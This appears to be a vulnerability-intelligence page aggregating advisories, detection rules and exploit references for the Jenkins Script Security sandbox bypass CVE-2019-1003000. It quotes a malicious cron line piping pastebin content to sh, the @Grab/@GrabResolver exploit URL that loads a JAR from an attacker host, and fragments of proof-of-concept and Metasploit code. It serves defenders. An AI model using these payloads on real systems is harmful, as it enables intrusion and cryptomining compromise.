CVE-2019-1003000
published 2019-01-22CVE-2019-1003000: A sandbox bypass vulnerability exists in Script Security Plugin 1.49 and earlier in src/main/java/org/jenkinsci/plugins/scriptsecurity/sandbox/groovy/GroovySand…
PriorityP189high8.8CVSS 3.1
AVNACLPRLUINSUCHIHAH
ITWEXPLOITVulnCheck KEVInitial access
Exploited in the wild
EPSS
98.43%
99.9th percentile
A sandbox bypass vulnerability exists in Script Security Plugin 1.49 and earlier in src/main/java/org/jenkinsci/plugins/scriptsecurity/sandbox/groovy/GroovySandbox.java that allows attackers with the ability to provide sandboxed scripts to execute arbitrary code on the Jenkins master JVM.
Affected
6 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| jenkins | declarative_plugin | — | — |
| jenkins | groovy_plugin | — | — |
| jenkins | script_security | <= 1.49 | — |
| jenkins | script_security_plugin | — | — |
| jenkins_project | script_security_plugin | — | — |
| redhat | openshift_container_platform | — | — |
Detection & IOCsextracted from sources · hover to see the quote
command*/15* * * * (curl -fsSL hxxps://pastebin[.]com/raw/rPB8eDpu||wget -q -O-hxxps://pastebin[.]com/raw/rPB8eDpu)|sh↗
urlhttp://jenkins.local/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='orange.tw', root='http://[your_host]/')%0a@Grab(group='tw.orange', module='poc', version='1')%0aimport Orange;↗
path/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile↗
- →Detect exploit attempts targeting the Jenkins Script Security sandbox bypass via the checkScriptCompile endpoint with @Grab/@GrabResolver Groovy metaprogramming annotations in the 'value' parameter ↗
- →Detect ACL bypass pattern in Jenkins HTTP requests: path traversal through /securityRealm/user/admin/ to reach /descriptorByName/ endpoints that should require higher privileges ↗
- →Alert on cron jobs containing curl or wget fetching from pastebin.com and piping directly to sh — a persistence and update mechanism used by this campaign ↗
- →Detect outbound mining traffic to systemten.org on port 51640 — the XMRig proxy used by this campaign to hide wallet and pool details ↗
- →Monitor Jenkins HTTP access logs for requests to /securityRealm/user/*/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile or /checkScript with sandbox=true and executable Groovy payloads ↗
- →Fortinet IPS signature 'Jenkins.Script.Plugin.Authenticated.Remote.Command.Execution' covers exploitation of CVE-2019-1003000 ↗
- →Detect delivery of a JAR file containing META-INF/services/org.codehaus.groovy.plugins.Runners — the malicious JAR structure used in the Groovy metaprogramming RCE exploit ↗
- ·The exploit requires the attacker to have an authenticated session (at minimum a low-privilege account) to reach the vulnerable checkScriptCompile/checkScript endpoints; unauthenticated exploitation requires chaining with CVE-2018-1000408 ACL bypass via /securityRealm/user/admin/ path traversal ↗
- ·The Groovy @Grab payload requires the Jenkins master to have outbound HTTP access to an attacker-controlled server to fetch the malicious JAR; environments with egress filtering may block this stage ↗
- ·Pastebin URLs used as C2 and payload delivery change every few days, making static URL-based blocking insufficient; behavioral detection of curl/wget-to-sh patterns is more durable ↗
- ·The miner configuration (wallet address, pool) is embedded in the binary rather than a dropped config file in newer variants, reducing the value of config-file-based IOCs ↗
CVSS provenance
nvdv3.18.8HIGHCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
nvdv2.06.5MEDIUMAV:N/AC:L/Au:S/C:P/I:P/A:P
vulncheck8.8HIGH
vendor_redhat8.8HIGH
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
OSV
Protection Mechanism Failure in Jenkins Script Security Plugin
osv·2022-05-13
CVE-2019-1003000 [HIGH] Protection Mechanism Failure in Jenkins Script Security Plugin
Protection Mechanism Failure in Jenkins Script Security Plugin
A sandbox bypass vulnerability exists in Script Security Plugin 1.49 and earlier in src/main/java/org/jenkinsci/plugins/scriptsecurity/sandbox/groovy/GroovySandbox.java that allows attackers with the ability to provide sandboxed scripts to execute arbitrary code on the Jenkins master JVM.
GHSA
Protection Mechanism Failure in Jenkins Script Security Plugin
ghsa·2022-05-13
CVE-2019-1003000 [HIGH] CWE-693 Protection Mechanism Failure in Jenkins Script Security Plugin
Protection Mechanism Failure in Jenkins Script Security Plugin
A sandbox bypass vulnerability exists in Script Security Plugin 1.49 and earlier in src/main/java/org/jenkinsci/plugins/scriptsecurity/sandbox/groovy/GroovySandbox.java that allows attackers with the ability to provide sandboxed scripts to execute arbitrary code on the Jenkins master JVM.
VulnCheck
Script Security Plugin Sandboxed Script Execution Vulnerability
vulncheck·2019·CVSS 8.8
CVE-2019-1003000 [HIGH] Script Security Plugin Sandboxed Script Execution Vulnerability
Script Security Plugin Sandboxed Script Execution Vulnerability
A sandbox bypass vulnerability exists in Script Security Plugin 1.49 and earlier in src/main/java/org/jenkinsci/plugins/scriptsecurity/sandbox/groovy/GroovySandbox.java that allows attackers with the ability to provide sandboxed scripts to execute arbitrary code on the Jenkins master JVM.
Affected: Jenkins Script Security Plugin
Required Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.
Exploitation References: https://www.f5.com/labs/articles/threat-intelligence/vulnerabilities--exploits--and-malware-driving-attack-campaigns-in-december-2019
Exploit PoC: https://vulncheck.com/xdb/de51fcf4903b; https://vulncheck.com/xdb/0a247f
Red Hat
jenkins-plugin-script-security: Sandbox Bypass in Script Security Plugin (SECURITY-1292)
vendor_redhat·2019-01-29·CVSS 8.8
CVE-2019-1003005 [HIGH] CWE-96 jenkins-plugin-script-security: Sandbox Bypass in Script Security Plugin (SECURITY-1292)
jenkins-plugin-script-security: Sandbox Bypass in Script Security Plugin (SECURITY-1292)
A sandbox bypass vulnerability exists in Jenkins Script Security Plugin 1.50 and earlier in src/main/java/org/jenkinsci/plugins/scriptsecurity/sandbox/groovy/SecureGroovyScript.java that allows attackers with Overall/Read permission to provide a Groovy script to an HTTP endpoint that can result in arbitrary code execution on the Jenkins master JVM.
A flaw was found in the Jenkins Script Security plugin through version 1.50. The fix for CVE-2019-1003000 was found to be incomplete. Script Security sandbox protection could be circumvented during the script compilation phase by applying AST transforming annotations such as @Grab to source code elements. This affected an HTTP endpoint used to validate a u
Red Hat
jenkins-plugin-script-security: Sandbox Bypass in Script Security Plugin
vendor_redhat·2019-01-08·CVSS 8.8
CVE-2019-1003000 [HIGH] CWE-96 jenkins-plugin-script-security: Sandbox Bypass in Script Security Plugin
jenkins-plugin-script-security: Sandbox Bypass in Script Security Plugin
A sandbox bypass vulnerability exists in Script Security Plugin 1.49 and earlier in src/main/java/org/jenkinsci/plugins/scriptsecurity/sandbox/groovy/GroovySandbox.java that allows attackers with the ability to provide sandboxed scripts to execute arbitrary code on the Jenkins master JVM.
A flaw was found in Jenkins Pipeline. The Script Security sandbox protection could be circumvented during the script compilation phase by applying AST, transforming annotations such as @Grab to source code elements. Both the pipeline validation REST APIs and actual script/pipeline execution are affected. This allowed users with Overall/Read permission, or able to control Jenkinsfile or sandboxed Pipeline shared library contents in
Jenkins
Jenkins Security Advisory 2019-01-08
vendor_jenkins·2019-01-08·CVSS 8.8
CVE-2019-1003000 [HIGH] Jenkins Security Advisory 2019-01-08
Title: Jenkins Security Advisory 2019-01-08
Jenkins Security Advisory 2019-01-08
Jenkins Security Home
For Administrators
Overview
Terminology
Vulnerabilities and Scoring
Security Advisories
Security Issues
Advisory Schedule
Vulnerabilities in Plugins
How We Fix Security Issues
For Reporters
Reporting Vulnerabilities
Jenkins CNA
For Maintainers
Overview
Vulnerabilities in Plugins
Jenkins Security Team
About
Contributions
This advisory announces vulnerabilities in the following Jenkins deliverables:
Pipeline: Declarative
Plugin
Pipeline: Groovy
Plugin
Script Security
Plugin
Descriptions
Sandbox Bypass in Script Security and Pipeline Plugins
SECURITY-1266
/
CVE-2019-1003000 (
Suricata
ET WEB_SPECIFIC_APPS Jenkins Chained Exploits CVE-2018-1000861 and CVE-2019-1003000 M3
suricata·2025-03-03·CVSS 9.8
CVE-2018-100086 [CRITICAL] ET WEB_SPECIFIC_APPS Jenkins Chained Exploits CVE-2018-1000861 and CVE-2019-1003000 M3
ET WEB_SPECIFIC_APPS Jenkins Chained Exploits CVE-2018-1000861 and CVE-2019-1003000 M3
Rule: alert http any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET WEB_SPECIFIC_APPS Jenkins Chained Exploits CVE-2018-1000861 and CVE-2019-1003000 M3"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/securityRealm/user/"; fast_pattern; content:"/descriptorByName/"; distance:0; content:"checkScript|3f|"; content:"value|3d|"; pcre:"/^[^\x0d\x26]*?[\x40\x7b\x28]/R"; reference:cve,2018-100086; reference:url,blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html; reference:url,blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html; reference:cve,2019-100300; classtype:web-application-attack; sid:2060509; rev:2; metadata:affected_product
Suricata
ET WEB_SPECIFIC_APPS Jenkins RCE CVE-2019-1003000
suricata·2019-05-10·CVSS 8.8
CVE-2019-1003000 [HIGH] ET WEB_SPECIFIC_APPS Jenkins RCE CVE-2019-1003000
ET WEB_SPECIFIC_APPS Jenkins RCE CVE-2019-1003000
Rule: alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (msg:"ET WEB_SPECIFIC_APPS Jenkins RCE CVE-2019-1003000"; flow:established,to_server; http.method; content:"POST"; startswith; endswith; http.uri; content:"config.xml"; endswith; http.request_body; content:"|3c|script|3e 0a|"; content:"import|20|org|2e|buildobjects|2e|process|2e|ProcBuilder"; distance:0; fast_pattern; content:"|40|Grab|28 27|org|2e|buildobjects|3a|jproc|3a|"; distance:0; content:"|27 29 0a|"; within:12; content:"print|20|new|20|ProcBuilder|28 22 2f|"; distance:0; content:"|22 29 2e|run|28 29|"; within:200; content:"|2e|getOutputString|28|"; within:18; content:"|3c 2f|script|3e|"; within:30; reference:url,github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc; classtyp
Suricata
ET WEB_SPECIFIC_APPS Jenkins Chained Exploits CVE-2018-1000861 and CVE-2019-1003000 M1
suricata·2019-05-10·CVSS 9.8
CVE-2018-1000861 [CRITICAL] ET WEB_SPECIFIC_APPS Jenkins Chained Exploits CVE-2018-1000861 and CVE-2019-1003000 M1
ET WEB_SPECIFIC_APPS Jenkins Chained Exploits CVE-2018-1000861 and CVE-2019-1003000 M1
Rule: alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (msg:"ET WEB_SPECIFIC_APPS Jenkins Chained Exploits CVE-2018-1000861 and CVE-2019-1003000 M1"; flow:established,to_server; http.method; content:"GET"; startswith; http.uri; content:"/securityRealm/user/"; startswith; fast_pattern; content:"descriptorByName/"; distance:0; content:"checkScriptCompile"; distance:0; content:"value=|40|GrabConfig"; distance:0; content:"|40|GrabResolver|28|"; distance:0; content:"|27|http"; within:60; content:"|27 29 0a 40|Grab|28|"; distance:0; http.header_names; to_lowercase; content:!"|0d 0a|referer|0d 0a|"; reference:cve,2018-1000861; reference:cve,2019-1003000; reference:url,blog.orange.tw/2019/02/abusing-meta-progr
Suricata
ET WEB_SPECIFIC_APPS Jenkins Chained Exploits CVE-2018-1000861 and CVE-2019-1003000 M2
suricata·2019-05-10·CVSS 9.8
CVE-2018-1000861 [CRITICAL] ET WEB_SPECIFIC_APPS Jenkins Chained Exploits CVE-2018-1000861 and CVE-2019-1003000 M2
ET WEB_SPECIFIC_APPS Jenkins Chained Exploits CVE-2018-1000861 and CVE-2019-1003000 M2
Rule: alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (msg:"ET WEB_SPECIFIC_APPS Jenkins Chained Exploits CVE-2018-1000861 and CVE-2019-1003000 M2"; flow:established,to_server; http.method; content:"GET"; startswith; http.uri; content:"/securityRealm/user/"; startswith; fast_pattern; content:"descriptorByName/"; distance:0; content:"checkScript"; distance:0; content:"|40|ASTTest"; distance:0; content:"Runtime|2e|getRuntime|28 29 2e|exec|28 22|"; distance:0; content:"|22 29 7d 29 0a|"; distance:0; http.header_names; to_lowercase; content:!"|0d 0a|referer|0d 0a|"; reference:cve,2018-1000861; reference:cve,2019-1003000; reference:url,blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce
Exploit-DB
Jenkins 2.137 and Pipeline Groovy Plugin 2.61 - ACL Bypass and Metaprogramming Remote Code Execution (Metasploit)
exploitdb·2019-03-19
CVE-2019-1003002 Jenkins 2.137 and Pipeline Groovy Plugin 2.61 - ACL Bypass and Metaprogramming Remote Code Execution (Metasploit)
Jenkins 2.137 and Pipeline Groovy Plugin 2.61 - ACL Bypass and Metaprogramming Remote Code Execution (Metasploit)
---
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule 'Jenkins ACL Bypass and Metaprogramming RCE',
'Description' => %q{
This module exploits a vulnerability in Jenkins dynamic routing to
bypass the Overall/Read ACL and leverage Groovy metaprogramming to
download and execute a malicious JAR file.
The ACL bypass gadget is specific to Jenkins [
'Orange Tsai', # Discovery and PoC
'wvu' # Metasploit module
],
'References' => [
['CVE', '2019-1003000'], # Script Security
['CVE', '2019-1003001'], # Pipeline: Groovy
['CVE', '2019-1003002'], # Pipeline: Declarative
['EDB',
Exploit-DB
Jenkins Plugin Script Security 1.49/Declarative 1.3.4/Groovy 2.60 - Remote Code Execution
exploitdb·2019-02-25·CVSS 7.5
CVE-2019-1003000 [HIGH] Jenkins Plugin Script Security 1.49/Declarative 1.3.4/Groovy 2.60 - Remote Code Execution
Jenkins Plugin Script Security 1.49/Declarative 1.3.4/Groovy 2.60 - Remote Code Execution
---
#!/usr/bin/env python
#
# Exploit Title : jenkins-preauth-rce-exploit.py
# Date : 02/23/2019
# Authors : wetw0rk & 0xtavian
# Vendor Homepage : https://jenkins.oi
# Software Link : https://jenkins.io/download/
# Tested on : jenkins=v2.73 Plugins: Script Security=v1.49, Pipeline: Declarative=v1.3.4, Pipeline: Groovy=v2.60,
#
# Greetz: Hima, Fr13ndzSec, AbeSnowman, Berserk, Neil
#
# Description : This exploit chains CVE-2019-1003000 and CVE-2018-1999002 for Pre-Auth Remote Code Execution in Jenkins
# Security Advisory : https://jenkins.io/security/advisory/2019-01-08/#SECURITY-1266
#
# Vulnerable Plugins -
# Pipeline: Declarative Plugin up to and including 1.3.4
# Pipeline: Groovy Plugin up to and
Exploit-DB
Jenkins Plugin Script Security < 1.50/Declarative < 1.3.4.1/Groovy < 2.61.1 - Remote Code Execution (PoC)
exploitdb·2019-02-19
CVE-2019-1003002 Jenkins Plugin Script Security < 1.50/Declarative < 1.3.4.1/Groovy < 2.61.1 - Remote Code Execution (PoC)
Jenkins Plugin Script Security META-INF/services/org.codehaus.groovy.plugins.Runners
$ find .
./Orange.java
./Orange.class
./META-INF
./META-INF/services
./META-INF/services/org.codehaus.groovy.plugins.Runners
$ jar cvf poc-1.jar tw/
$ cp poc-1.jar ~/www/tw/orange/poc/1/
$ curl -I http://[your_host]/tw/orange/poc/1/poc-1.jar
HTTP/1.1 200 OK
Date: Sat, 02 Feb 2019 11:10:55 GMT
...
PoC:
http://jenkins.local/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile
?value=
@GrabConfig(disableChecksums=true)%0a
@GrabResolver(name='orange.tw', root='http://[your_host]/')%0a
@Grab(group='tw.orange', module='poc', version='1')%0a
import Orange;
Metasploit
Jenkins ACL Bypass and Metaprogramming RCE
metasploit
Jenkins ACL Bypass and Metaprogramming RCE
Jenkins ACL Bypass and Metaprogramming RCE
This module exploits a vulnerability in Jenkins dynamic routing to bypass the Overall/Read ACL and leverage Groovy metaprogramming to download and execute a malicious JAR file. When the "Java Dropper" target is selected, the original entry point based on classLoader.parseClass is used, which requires the use of Groovy metaprogramming to achieve RCE. When the "Unix In-Memory" target is selected, a newer, higher-level, and more universal entry point based on GroovyShell.parse is used. This permits the use of in-memory arbitrary command execution. The ACL bypass gadget is specific to Jenkins <= 2.137 and will not work on later versions of Jenkins. Tested against Jenkins 2.137 and Pipeline: Groovy Plugin 2.61.
Nuclei
Jenkins Script Security Plugin <=1.49 - Sandbox Bypass
nuclei·CVSS 7.5
CVE-2019-1003000 [HIGH] Jenkins Script Security Plugin <=1.49 - Sandbox Bypass
Jenkins Script Security Plugin <=1.49 - Sandbox Bypass
A sandbox bypass vulnerability exists in the Jenkins Script Security Plugin (versions 1.49 and earlier) within src/main/java/org/jenkinsci/plugins/scriptsecurity/sandbox/groovy/GroovySandbox.java. This flaw allows attackers with permission to submit sandboxed scripts to execute arbitrary code on the Jenkins master JVM, potentially compromising the entire Jenkins environment.
Template:
id: CVE-2019-1003000
info:
name: Jenkins Script Security Plugin <=1.49 - Sandbox Bypass
author: sttlr
severity: high
description: |
A sandbox bypass vulnerability exists in the Jenkins Script Security Plugin (versions 1.49 and earlier) within src/main/java/org/jenkinsci/plugins/scriptsecurity/sandbox/groovy/GroovySandbox.java. This flaw allows attacke
Fortinet
New Rocke Variant Ready to Box Any Mining Challengers
blogs_fortinet·2019-05-28
New Rocke Variant Ready to Box Any Mining Challengers
FORTIGUARD LABS THREAT RESEARCH
New Rocke Variant Ready to Box Any Mining Challengers
By Joie Salvio | May 28, 2019
FortiGuard Labs Breaking Threat Research
FortiGuard Labs has been monitoring a Linux coin mining campaign from “Rocke” – a malware threat group specializing in cryptomining. Over the past month we have seen new features constantly being added to the malware. For instance, in their latest major update, they have added a function that exploits systems running the software development automation server Jenkins to increase their chance of infecting more systems, thereby generating more profits. In addition, they have also evolved their malware by adding new attack stages, as well as new redundancies in its multi-component execution to make it more dynamic and flexible.
This p
Trendmicro
CVE-2019-3396: Exploiting the Confluence Vulnerability
blogs_trendmicro·2019-05-07·CVSS 9.8
CVE-2019-3396 [CRITICAL] CVE-2019-3396: Exploiting the Confluence Vulnerability
Cloud
# CVE-2019-3396: Exploiting the Confluence Vulnerability
We discovered the Confluence vulnerability CVE-2019-3396 being used to deliver a cryptocurrency-mining malware containing a rootkit that was designed to hide its activities.
By: Augusto Remillano II, Robert Malagad
2019/05/07
Read time: ( words)
Save to Folio
In March 2019, Atlassian published an advisory covering two critical vulnerabilities involving Confluence, a widely used collaboration and planning software. In April, we observed one of these vulnerabilities, the widget connector vulnerability CVE-2019-3396, being exploited by threat actors to perform malicious attacks. Security provider Alert Logic also discovered the vulnerability being exploited to drop the Gandcrab ransomware.
It seems that these incidents are
Trendmicro
CVE-2019-3396: Exploiting the Confluence Vulnerability
blogs_trendmicro·2019-05-07·CVSS 9.8
CVE-2019-3396 [CRITICAL] CVE-2019-3396: Exploiting the Confluence Vulnerability
Cloud
# CVE-2019-3396: Exploiting the Confluence Vulnerability
We discovered the Confluence vulnerability CVE-2019-3396 being used to deliver a cryptocurrency-mining malware containing a rootkit that was designed to hide its activities.
By: Augusto Remillano II, Robert Malagad
May 07, 2019
Read time: ( words)
Save to Folio
In March 2019, Atlassian published an advisory covering two critical vulnerabilities involving Confluence, a widely used collaboration and planning software. In April, we observed one of these vulnerabilities, the widget connector vulnerability CVE-2019-3396, being exploited by threat actors to perform malicious attacks. Security provider Alert Logic also discovered the vulnerability being exploited to drop the Gandcrab ransomware.
It seems that these incidents ar
Bugzilla
CVE-2019-1003005 jenkins-plugin-script-security: Sandbox Bypass in Script Security Plugin (SECURITY-1292)
bugzilla·2019-01-29·CVSS 8.8
CVE-2019-1003005 [HIGH] CVE-2019-1003005 jenkins-plugin-script-security: Sandbox Bypass in Script Security Plugin (SECURITY-1292)
CVE-2019-1003005 jenkins-plugin-script-security: Sandbox Bypass in Script Security Plugin (SECURITY-1292)
Jenkins Script Security plugin through version 1.50 is vulnerable to an incomplete fix to CVE-2019-1003000.
Script Security sandbox protection could be circumvented during the script compilation phase by applying AST transforming annotations such as @Grab to source code elements.
This affected an HTTP endpoint used to validate a user-submitted Groovy script that was not covered in the 2019-01-08 fix for SECURITY-1266 and allowed users with Overall/Read permission to bypass the sandbox protection and execute arbitrary code on the Jenkins master.
The affected HTTP endpoint now applies a safe Groovy compiler configuration prohibiting unsafe AST transforming annotations.
External Refe
Bugzilla
CVE-2019-1003000 jenkins-plugin-script-security: Sandbox Bypass in Script Security Plugin
bugzilla·2019-01-18·CVSS 8.8
CVE-2019-1003000 [HIGH] CVE-2019-1003000 jenkins-plugin-script-security: Sandbox Bypass in Script Security Plugin
CVE-2019-1003000 jenkins-plugin-script-security: Sandbox Bypass in Script Security Plugin
A flaw was found in Pipeline: Declarative Plugin before version 1.3.4.1, Pipeline: Groovy Plugin before version 2.61.1 and Script Security Plugin before version 1.50. Script Security sandbox protection could be circumvented during the script compilation phase by applying AST transforming annotations such as @Grab to source code elements. Both the pipeline validation REST APIs and actual script/pipeline execution are affected. This allowed users with Overall/Read permission, or able to control Jenkinsfile or sandboxed Pipeline shared library contents in SCM, to bypass the sandbox protection and execute arbitrary code on the Jenkins master. All known unsafe AST transformations in Groovy are now prohibi
Bugzilla
CVE-2019-1003000 groovy-sandbox: jenkins-plugin-script-security: Sandbox Bypass in Script Security Plugin [fedora-all]
bugzilla·2019-01-18·CVSS 8.8
CVE-2019-1003000 [HIGH] CVE-2019-1003000 groovy-sandbox: jenkins-plugin-script-security: Sandbox Bypass in Script Security Plugin [fedora-all]
CVE-2019-1003000 groovy-sandbox: jenkins-plugin-script-security: Sandbox Bypass in Script Security Plugin [fedora-all]
This is an automatically created tracking bug! It was created to ensure
that one or more security vulnerabilities are fixed in affected versions
of fedora-all.
For comments that are specific to the vulnerability please use bugs filed
against the "Security Response" product referenced in the "Blocks" field.
For more information see:
http://fedoraproject.org/wiki/Security/TrackingBugs
When submitting as an update, use the fedpkg template provided in the next
comment(s). This will include the bug IDs of this tracking bug as well as
the relevant top-level CVE bugs.
Please also mention the CVE IDs being fixed in the RPM changelog and the
fedpkg commit message.
NOTE: this
Bugzilla
CVE-2019-1003000 jenkins-script-security-plugin: jenkins-plugin-script-security: Sandbox Bypass in Script Security Plugin [fedora-all]
bugzilla·2019-01-18·CVSS 8.8
CVE-2019-1003000 [HIGH] CVE-2019-1003000 jenkins-script-security-plugin: jenkins-plugin-script-security: Sandbox Bypass in Script Security Plugin [fedora-all]
CVE-2019-1003000 jenkins-script-security-plugin: jenkins-plugin-script-security: Sandbox Bypass in Script Security Plugin [fedora-all]
This is an automatically created tracking bug! It was created to ensure
that one or more security vulnerabilities are fixed in affected versions
of fedora-all.
For comments that are specific to the vulnerability please use bugs filed
against the "Security Response" product referenced in the "Blocks" field.
For more information see:
http://fedoraproject.org/wiki/Security/TrackingBugs
When submitting as an update, use the fedpkg template provided in the next
comment(s). This will include the bug IDs of this tracking bug as well as
the relevant top-level CVE bugs.
Please also mention the CVE IDs being fixed in the RPM changelog and the
fedpkg commit messa
http://packetstormsecurity.com/files/152132/Jenkins-ACL-Bypass-Metaprogramming-Remote-Code-Execution.htmlhttp://www.rapid7.com/db/modules/exploit/multi/http/jenkins_metaprogramminghttps://access.redhat.com/errata/RHBA-2019:0326https://access.redhat.com/errata/RHBA-2019:0327https://jenkins.io/security/advisory/2019-01-08/#SECURITY-1266https://www.exploit-db.com/exploits/46453/https://www.exploit-db.com/exploits/46572/http://packetstormsecurity.com/files/152132/Jenkins-ACL-Bypass-Metaprogramming-Remote-Code-Execution.htmlhttp://www.rapid7.com/db/modules/exploit/multi/http/jenkins_metaprogramminghttps://access.redhat.com/errata/RHBA-2019:0326https://access.redhat.com/errata/RHBA-2019:0327https://jenkins.io/security/advisory/2019-01-08/#SECURITY-1266https://www.exploit-db.com/exploits/46453/https://www.exploit-db.com/exploits/46572/
2019-01-22
Published
Exploited in the wild